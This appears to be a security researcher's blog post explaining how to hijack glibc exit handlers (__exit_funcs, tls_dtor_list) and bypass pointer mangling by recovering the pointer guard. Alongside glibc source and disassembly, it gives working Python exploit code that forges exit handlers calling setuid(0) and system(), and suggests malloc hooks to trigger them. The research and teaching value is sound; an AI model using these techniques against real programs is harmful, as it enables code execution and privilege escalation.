Hi,

Today we’ll talk about abusing exit handlers in order to hijack the control flow.

This research stemmed from Google Project Zero article about heap overflow NULL byte poisoning where they described using __exit_funcs or tls_dtor_list to achieve code execution. The issue I had was to find a way to resolve reliably these non-exported symbols and access them.

The exit handlers are quite interesting as it is an easy version to do ROP as they all take one parameter. Functions such as setuid(), system() or other functions needing 1 parameter can thus be easily called.

Pointer mangling is a mitigation implemented in order to thwart direct function pointer corruption. I’ll show in this post how it can be bypassed.

We’ll first analyze the code leading to the execution of these exit handlers and then show how to trigger them. There will be a lot of pasted listing ahead, these will be explained as we go.

Where is the code leading to executing these exit handlers?

About exit ()

Whenever we call libc exit(), it calls all the handlers we registered with atexit() and on_exit() before calling the _exit() syscall.

This is located in “glibc/stdlib/exit.c”.

1
2
3
4
5
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

exit() is just a nicely named wrapper for “__run_exit_handlers()”.

Let’s look at __run_exit_handlers():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
       bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (*listp != NULL)
    {
      struct exit_function_list *cur = *listp;

      while (cur->idx > 0)
 {
   const struct exit_function *const f =
     &cur->fns[--cur->idx];
   switch (f->flavor)
     {
       void (*atfct) (void);
       void (*onfct) (int status, void *arg);
       void (*cxafct) (void *arg, int status);

     case ef_free:
     case ef_us:
       break;
     case ef_on:
       onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
       PTR_DEMANGLE (onfct);
#endif
       onfct (status, f->func.on.arg);
       break;
     case ef_at:
       atfct = f->func.at;
#ifdef PTR_DEMANGLE
       PTR_DEMANGLE (atfct);
#endif
       atfct ();
       break;
     case ef_cxa:
       cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
       PTR_DEMANGLE (cxafct);
#endif
       cxafct (f->func.cxa.arg, status);
       break;
     }
 }

      *listp = cur->next;
      if (*listp != NULL)
 /* Don't free the last element in the chain, this is the statically
    allocate element.  */
 free (cur);
    }

  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());

  _exit (status);
}

We can see that “__run_exit_handlers()” does use pointer demangling by using PTR_DEMANGLE() before dereferencing the function pointers and calling the pointed code. We will thus need to analyze how the mangling and demangling is done in order to bypass it.

We first see that it tries to call “__call_tls_dtors()”, this is interesting as this called function is used to call destructors in tls_dtor_list, we’ll come back to it.

Let’s look what a ‘struct exit_function_list’ look like.

This is located in “glibc/stdlib/exit.h”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
enum
{
  ef_free, /* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
 void (*at) (void);
 struct
   {
     void (*fn) (int status, void *arg);
     void *arg;
   } on;
 struct
   {
     void (*fn) (void *arg, int status);
     void *arg;
     void *dso_handle;
   } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

Each handler can have 5 flavors : ef_free, ef_us, ef_on, ef_at and ef_cxa. Depending on the flavor of the exit handler, we’ll have a function pointer, argument and/or dso handle. The function list can store at most 32 handlers and a linked list is created if more is needed. idx is the total number of functions and is 1-based (not 0-based as usually).

And our PTR_MANGLE() and PTR_DEMANGLE() definitions in “sysdeps/unix/sysv/linux/x86_64/sysdep.h”.

1
2
3
4
5
6
7
8
9
10
11
12
#  define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n"        \
         "rol $2*" LP_SIZE "+1, %0"        \
         : "=r" (var)         \
         : "0" (var),         \
           "i" (offsetof (tcbhead_t,       \
            pointer_guard)))
#  define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n"       \
         "xor %%fs:%c2, %0"         \
         : "=r" (var)         \
         : "0" (var),         \
           "i" (offsetof (tcbhead_t,       \
            pointer_guard)))

Here we can see that it uses the “pointer_guard” offset in the structure “tcbhead_t” in order to access the pointer_guard in fs, this will be fs:0x30 on 64-bits machines.

The assembly of “__run_exit_handlers()”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
pwndbg> disassemble __run_exit_handlers
Dump of assembler code for function __run_exit_handlers:
   0x0000000000039f10 <+0>: push   r13
   0x0000000000039f12 <+2>: push   r12
   0x0000000000039f14 <+4>: mov    r12d,edx
   0x0000000000039f17 <+7>: push   rbp
   0x0000000000039f18 <+8>: push   rbx
   0x0000000000039f19 <+9>: mov    rbp,rsi
   0x0000000000039f1c <+12>: mov    ebx,edi
   0x0000000000039f1e <+14>: sub    rsp,0x8
   0x0000000000039f22 <+18>: call   0x3a5c0 <__gi___call_tls_dtors>
   0x0000000000039f27 <+23>: mov    r13,QWORD PTR [rbp+0x0]
   0x0000000000039f2b <+27>: test   r13,r13
   0x0000000000039f2e <+30>: je     0x39f80 <__run_exit_handlers>
   0x0000000000039f30 <+32>: mov    rax,QWORD PTR [r13+0x8]
   0x0000000000039f34 <+36>: mov    rdx,rax
   0x0000000000039f37 <+39>: shl    rdx,0x5
   0x0000000000039f3b <+43>: test   rax,rax
   0x0000000000039f3e <+46>: lea    rcx,[r13+rdx*1-0x10]
   0x0000000000039f43 <+51>: je     0x39f6f <__run_exit_handlers>
   0x0000000000039f45 <+53>: sub    rax,0x1
   0x0000000000039f49 <+57>: mov    QWORD PTR [r13+0x8],rax
   0x0000000000039f4d <+61>: mov    rdx,QWORD PTR [rcx]
   0x0000000000039f50 <+64>: cmp    rdx,0x3
   0x0000000000039f54 <+68>: je     0x3a000 <__run_exit_handlers>
 ; ef_cxa
   0x0000000000039f5a <+74>: cmp    rdx,0x4
   0x0000000000039f5e <+78>: je     0x39fd8 <__run_exit_handlers>

   0x0000000000039f60 <+80>: cmp    rdx,0x2
   0x0000000000039f64 <+84>: je     0x39fb0 <__run_exit_handlers>
   0x0000000000039f66 <+86>: sub    rcx,0x20
   0x0000000000039f6a <+90>: test   rax,rax
   0x0000000000039f6d <+93>: jne    0x39f45 <__run_exit_handlers>
   0x0000000000039f6f <+95>: mov    rax,QWORD PTR [r13+0x0]
   0x0000000000039f73 <+99>: test   rax,rax
   0x0000000000039f76 <+102>: mov    QWORD PTR [rbp+0x0],rax
   0x0000000000039f7a <+106>: jne    0x3a01d <__run_exit_handlers>
   0x0000000000039f80 <+112>: test   r12b,r12b
   0x0000000000039f83 <+115>: je     0x39fa4 <__run_exit_handlers>
   0x0000000000039f85 <+117>: lea    rbp,[rip+0x38594c]        # 0x3bf8d8 <__elf_set___libc_atexit_element__io_cleanup__>
   0x0000000000039f8c <+124>: lea    r12,[rip+0x38594d]        # 0x3bf8e0 <__elf_set___libc_thread_subfreeres_element_arena_thread_freeres__>
   0x0000000000039f93 <+131>: cmp    rbp,r12
   0x0000000000039f96 <+134>: jae    0x39fa4 <__run_exit_handlers>
   0x0000000000039f98 <+136>: call   QWORD PTR [rbp+0x0]
   0x0000000000039f9b <+139>: add    rbp,0x8
   0x0000000000039f9f <+143>: cmp    rbp,r12
   0x0000000000039fa2 <+146>: jb     0x39f98 <__run_exit_handlers>
   0x0000000000039fa4 <+148>: mov    edi,ebx
   0x0000000000039fa6 <+150>: call   0xcbb60 <__gi__exit>
   0x0000000000039fab <+155>: nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000039fb0 <+160>: shl    rax,0x5
   0x0000000000039fb4 <+164>: mov    edi,ebx
   0x0000000000039fb6 <+166>: add    rax,r13
   0x0000000000039fb9 <+169>: mov    rdx,QWORD PTR [rax+0x18]
   0x0000000000039fbd <+173>: mov    rsi,QWORD PTR [rax+0x20]
   0x0000000000039fc1 <+177>: ror    rdx,0x11
   0x0000000000039fc5 <+181>: xor    rdx,QWORD PTR fs:0x30
   0x0000000000039fce <+190>: call   rdx
   0x0000000000039fd0 <+192>: jmp    0x39f30 <__run_exit_handlers>
   0x0000000000039fd5 <+197>: nop    DWORD PTR [rax]

 ; ef_cxa
   0x0000000000039fd8 <+200>: shl    rax,0x5
   0x0000000000039fdc <+204>: mov    esi,ebx
   0x0000000000039fde <+206>: add    rax,r13
   0x0000000000039fe1 <+209>: mov    rdx,QWORD PTR [rax+0x18]
   0x0000000000039fe5 <+213>: mov    rdi,QWORD PTR [rax+0x20]
   0x0000000000039fe9 <+217>: ror    rdx,0x11
   0x0000000000039fed <+221>: xor    rdx,QWORD PTR fs:0x30
   0x0000000000039ff6 <+230>: call   rdx
   0x0000000000039ff8 <+232>: jmp    0x39f30 <__run_exit_handlers>
   0x0000000000039ffd <+237>: nop    DWORD PTR [rax]
   0x000000000003a000 <+240>: shl    rax,0x5
   0x000000000003a004 <+244>: mov    rax,QWORD PTR [r13+rax*1+0x18]
   0x000000000003a009 <+249>: ror    rax,0x11
   0x000000000003a00d <+253>: xor    rax,QWORD PTR fs:0x30
   0x000000000003a016 <+262>: call   rax
   0x000000000003a018 <+264>: jmp    0x39f30 <__run_exit_handlers>
   0x000000000003a01d <+269>: mov    rdi,r13
   0x000000000003a020 <+272>: call   0x1f8a8
   0x000000000003a025 <+277>: jmp    0x39f27 <__run_exit_handlers>
End of assembler dump.

In case you missed it, the code that really interest us is this:

1
2
3
   0x0000000000039fe9 <+217>: ror    rdx,0x11
   0x0000000000039fed <+221>: xor    rdx,QWORD PTR fs:0x30
   0x0000000000039ff6 <+230>: call   rdx

So what’s stored at fs:X? Let’s look at Thread Control Block.

About Thread Control Block

Like we saw in PTR_MANGLE() and PTR_DEMANGLE(), it all has to do with the structure “tcbhead_t”. This structure is what’s stored at FS, which correspond to the per thread data (TCB probably for Thread Control Block).

So at fs:0x30 we get the pointer_guard.

It’s the pointer guard as defined in “sysdeps/x86_64/nptl/tls.h” in the structure “tcbhead_t”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedef struct
{
  void *tcb;  /* Pointer to the TCB.  Not necessarily the
      thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;  /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
# ifndef __ASSUME_PRIVATE_FUTEX
  int private_futex;
# else
  int __glibc_reserved1;
# endif
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  long int __glibc_reserved2;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

Where is that pointer_guard setted up?

It’s setted up in “csu/libc-start.c”.

1
2
3
4
5
6
7
8
  /* Set up the pointer guard value.  */
  uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
        stack_chk_guard);
# ifdef THREAD_SET_POINTER_GUARD
  THREAD_SET_POINTER_GUARD (pointer_chk_guard);
# else
  __pointer_chk_guard_local = pointer_chk_guard;
# endif

We could go look the code at “_dl_setup_pointer_guard()” but research was not done there.

We still need to determine where we can hit and overwrite these handlers. Let’s start with __exit_funcs.

About atexit() and finding __exit_funcs

The “atexit()” code is located in “cxa_atexit.c”

1
2
3
4
5
6
7
8
9
/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
  return __internal_atexit (func, arg, d, &__exit_funcs);
}
ibc_hidden_def (__cxa_atexit)

And the corresponding assembly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> disassemble __cxa_atexit 
Dump of assembler code for function __GI___cxa_atexit:
   0x000000000003a280 <+0>: push   r12
   0x000000000003a282 <+2>: push   rbp
   0x000000000003a283 <+3>: mov    r12,rsi
   0x000000000003a286 <+6>: push   rbx
   0x000000000003a287 <+7>: mov    rbx,rdi
   0x000000000003a28a <+10>: lea    rdi,[rip+0x389367]        # 0x3c35f8 <__exit_funcs>
   0x000000000003a291 <+17>: mov    rbp,rdx
   0x000000000003a294 <+20>: call   0x3a0a0 <__new_exitfn>
   0x000000000003a299 <+25>: test   rax,rax
   0x000000000003a29c <+28>: je     0x3a2c8 <__gi___cxa_atexit>
   0x000000000003a29e <+30>: mov    rdi,rbx
   0x000000000003a2a1 <+33>: mov    QWORD PTR [rax+0x10],r12
   0x000000000003a2a5 <+37>: mov    QWORD PTR [rax+0x18],rbp
   0x000000000003a2a9 <+41>: xor    rdi,QWORD PTR fs:0x30
   0x000000000003a2b2 <+50>: rol    rdi,0x11
   0x000000000003a2b6 <+54>: mov    QWORD PTR [rax+0x8],rdi
   0x000000000003a2ba <+58>: mov    QWORD PTR [rax],0x4
   0x000000000003a2c1 <+65>: xor    eax,eax
   0x000000000003a2c3 <+67>: pop    rbx
   0x000000000003a2c4 <+68>: pop    rbp
   0x000000000003a2c5 <+69>: pop    r12
   0x000000000003a2c7 <+71>: ret    
   0x000000000003a2c8 <+72>: mov    eax,0xffffffff
   0x000000000003a2cd <+77>: jmp    0x3a2c3 <__gi___cxa_atexit>
End of assembler dump.</__gi___cxa_atexit></__gi___cxa_atexit></__new_exitfn></__exit_funcs>

What’s interesting is “__exit_funcs” being used. “__exit_funcs” is an un-exported function but we can resolve it by disassembling that piece of assembly with capstone and retrieving the needed VA. “__cxa_atexit()” is an exported symbol so we can retrieve the VA easily using pwntools.elf.ELF. You can see at VA 0x3a28a that it calculates the address of “__exit_funcs”.

Here is the code I wrote to do just that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# get __exit_funcs addr
def get_exit_funcs (code, off = 0):
    md = Cs (CS_ARCH_X86, CS_MODE_64)
    md.detail = True

    # look for ptr offset
    ptr_exit_funcs = None
    for inst in md.disasm (code[off:], off):
        if inst.mnemonic != 'lea':
            continue
        for operand in inst.operands:

            if operand.type == x86.X86_OP_MEM:
                if inst.reg_name (operand.value.mem.base) != 'rip':
                    continue
                ptr_exit_funcs = inst.address + inst.size + operand.value.mem.disp
                break
        if ptr_exit_funcs:
            break

    if ptr_exit_funcs is None:
        return None
    return ptr_exit_funcs

I’ll show at the end of the article how to use it to bypass pointer mangling. Let’s first have a look at tls_dtor_list.

About __call_tls_dtors() and finding tls_dtor_list

I was talking about “__call_tls_dtors()” being an interesting piece of code to look at.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* Call the destructors.  This is called either when a thread returns from the
   initial function or when the process exits via the exit function.  */
void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
  l_tls_dtor_count decrement.  That way, we protect this access from a
  potential DSO unload in _dl_close_worker, which happens when
  l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

The part that really interest us is about tls_dtor_list being used.

The corresponding assembly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> disassemble __GI___call_tls_dtors
Dump of assembler code for function __GI___call_tls_dtors:
   0x000000000003a5c0 <+0>: push   rbp
   0x000000000003a5c1 <+1>: push   rbx
   0x000000000003a5c2 <+2>: sub    rsp,0x8
   0x000000000003a5c6 <+6>: mov    rbp,QWORD PTR [rip+0x3887b3]        # 0x3c2d80
   0x000000000003a5cd <+13>: mov    rbx,QWORD PTR fs:[rbp+0x0]
   0x000000000003a5d2 <+18>: test   rbx,rbx
   0x000000000003a5d5 <+21>: je     0x3a61e <__gi___call_tls_dtors>
   0x000000000003a5d7 <+23>: nop    WORD PTR [rax+rax*1+0x0]
   0x000000000003a5e0 <+32>: mov    rdx,QWORD PTR [rbx+0x18]
   0x000000000003a5e4 <+36>: mov    rax,QWORD PTR [rbx]
   0x000000000003a5e7 <+39>: mov    rdi,QWORD PTR [rbx+0x8]
   0x000000000003a5eb <+43>: ror    rax,0x11
   0x000000000003a5ef <+47>: xor    rax,QWORD PTR fs:0x30
   0x000000000003a5f8 <+56>: mov    QWORD PTR fs:[rbp+0x0],rdx
   0x000000000003a5fd <+61>: call   rax
   0x000000000003a5ff <+63>: mov    rax,QWORD PTR [rbx+0x10]
   0x000000000003a603 <+67>: lock sub QWORD PTR [rax+0x450],0x1
   0x000000000003a60c <+76>: mov    rdi,rbx
   0x000000000003a60f <+79>: call   0x1f8a8
   0x000000000003a614 <+84>: mov    rbx,QWORD PTR fs:[rbp+0x0]
   0x000000000003a619 <+89>: test   rbx,rbx
   0x000000000003a61c <+92>: jne    0x3a5e0 <__gi___call_tls_dtors>
   0x000000000003a61e <+94>: add    rsp,0x8
   0x000000000003a622 <+98>: pop    rbx
   0x000000000003a623 <+99>: pop    rbp
   0x000000000003a624 <+100>: ret    
End of assembler dump.</__gi___call_tls_dtors></__gi___call_tls_dtors>

You can see at VA 0x3a5c6 that it dereferences the pointer to tls_dtor_list. So we can disassemble that function and find that offset using capstone. “__call_tls_dtors” is exported so the address can be easily parsed out using pwntools.elf.ELF.

I didn’t write code for it but the idea is the same as for __exit_funcs, this is left as an exercise to the reader.

Bypassing pointer mangling

While playing with a binary challenge, I happened to see that _dl_fini() is often registered in the __exit_funcs array, so we can recalculate the pointer_guard value and thus bypass pointer mangling.

The issue with “_dl_fini()” is that it seems to be an un-exported symbol. I’ve found the address while digging in gdb. An elf parser probably has to be written to find “_dl_fini()” address.

A vulnerability that allows you to leak an encoded pointer in __exit_funcs is also necessary. Here we use _dl_fini encoded pointer.

The formula to compute the pointer_guard assuming that “_dl_fini()” is used is as follow:

1
ptr_guard = ror (ptr_encoded, 0x11, 64) ^ _dl_fini

Here the code you’ve been waiting for. We re-use “get_exit_funcs()” that was showed earlier.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

elf = ELF (libc_filename)

# get libc data
content = ''
with open (libc_filename) as fp:
    content = fp.read ()

# get our exit_funcs address
off_cxa_atexit = elf.symbols['__cxa_atexit']
ptr_exit_funcs = libc_base + get_exit_funcs (content, off_cxa_atexit)
off_exit_funcs = ptr_exit_funcs - start_data
__exit_funcs = struct.unpack ('<Q', libc_data[off_exit_funcs:off_exit_funcs + 8])[0]
# our encoded pointer location
off_ptr_encoded = (__exit_funcs - start_data) + 24
ptr_encoded = struct.unpack ('<Q', libc_data[off_ptr_encoded:off_ptr_encoded + 8])[0]
# this is used to encode pointers
ptr_guard = ror (ptr_encoded, 0x11, 64) ^ _dl_fini

print '\n[+] Leak __exit_funcs'
print 'start_data               : 0x%016x' % start_data
print 'ptr_exit_funcs           : 0x%016x' % ptr_exit_funcs
print 'exit_funcs               : 0x%016x' % __exit_funcs
print 'off_ptr_encoded          : 0x%016x' % off_ptr_encoded
print 'ptr_encoded              : 0x%016x' % ptr_encoded
print 'ptr_guard                : 0x%016x' % ptr_guard

Now that we got the pointer_guard, what do we do?

We craft a fake __exit_funcs and corrupt the original __exit_funcs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class CxaFunc (object):
    def __init__ (self, func, arg, ptr_guard):
        self.func = func
        self.arg = arg
        self.ptr_guard = ptr_guard

    def __str__ (self):
        # flavor = 4 (ef_cxa) + func + arg + NULL (dso handle)
        if self.ptr_guard:
            encoded = rol (self.func ^ self.ptr_guard, 0x11, 64)
        else:
            encoded = self.func
        print 'func : 0x%016x | encoded : 0x%016x | arg : 0x%016x' % (self.func, encoded, self.arg)
  # ef_cxa == 4 | encoded function pointer | argument | dso handle set to NULL
        data = struct.pack ('<Q', 4) + struct.pack ('<Q', encoded) + struct.pack ('<Q', self.arg) + struct.pack ('<Q', 0)
        return data

class ExitHandlers (object):
    def __init__ (self, ptr_guard):
        self.handlers = list ()
        self.ptr_guard = ptr_guard

    def append (self, func, arg):
        cxafunc = CxaFunc (func, arg, self.ptr_guard)
        self.handlers.append (cxafunc)

    def __str__ (self):
        fake_exit_funcs = ''
        # next = NULL
        fake_exit_funcs += struct.pack ('<Q', 0)
        # idx = number of handlers
        print 'Packing %d handlers' % len (self.handlers)
        fake_exit_funcs += struct.pack ('<Q', len (self.handlers))
        for cxafunc in self.handlers:
            fake_exit_funcs += str (cxafunc)

        return fake_exit_funcs

# build our exit_funcs functions list
fake_exit_funcs = ExitHandlers (ptr_guard)
# setuid
fake_exit_funcs.append (func_setuid, 0)
# system and get cmd
for heap_addr in heap_addrs:
    fake_exit_funcs.append (func_system, heap_addr)
fake_exit_funcs = str (fake_exit_funcs)

Given you’ve recalculated the proper pointer_guard … pointer mangling is bypassed.

Other (untested) ideas to get the pointer_guard?

There probably is another way to get that pointer_guard given you’ve got an arbitrary infoleak. This may be possible through a pointer corruption or a UAF or Type Confusion or something else. If the attacker somehow manage to find where ‘struct tcbhead’ is located in memory, he may be able to just read the value out of it.

Last idea is probably far fetched but let’s look at it. Let’s say you got an oracle : crash or not crash and that your process is respawned through a fork(). You could probably use techniques similar as those used for blind rop to guess the pointer guard. More research can be done there but we don’t need it for now.

About glibc ptmalloc hooks

It may come a time where you somehow can’t manage to exit a program running as it may run in a infinite loop for example.

In order to use our previous technique, the process has to call the libc exit() function. This happens when the process prepare to exit.

We may be able to trigger that function before reaching the end of the program by using glibc ptmalloc hooks. In each glibc ptmalloc functions, there is a function pointer that is called given it’s not NULL. By over-writing one of these hooks with glibc exit() function and triggering the corresponding malloc(), free() or realloc() call, we’ll trigger the execution of our payload written in __exit_funcs.

These functions hook are all exported symbols that you can easily get with pwntools.elf.ELF : __free_hook, __malloc_hook, __realloc_hook and __memalign_hook.

Conclusion

Full mitigations bypass is still possible nowadays on the latest Linux distribution given the proper vulnerabilities and binary. Every technique is applicable on a case-by-case basis. Pointer mangling was implemented in order to make destructors corruption exploitation harder, but as can be seen it’s not impossible.

This technique is particularly useful when you don’t know where the stack is and you have full RELRO activated. It allows you to do an easy version of ROP.

Cheers,

m_101

References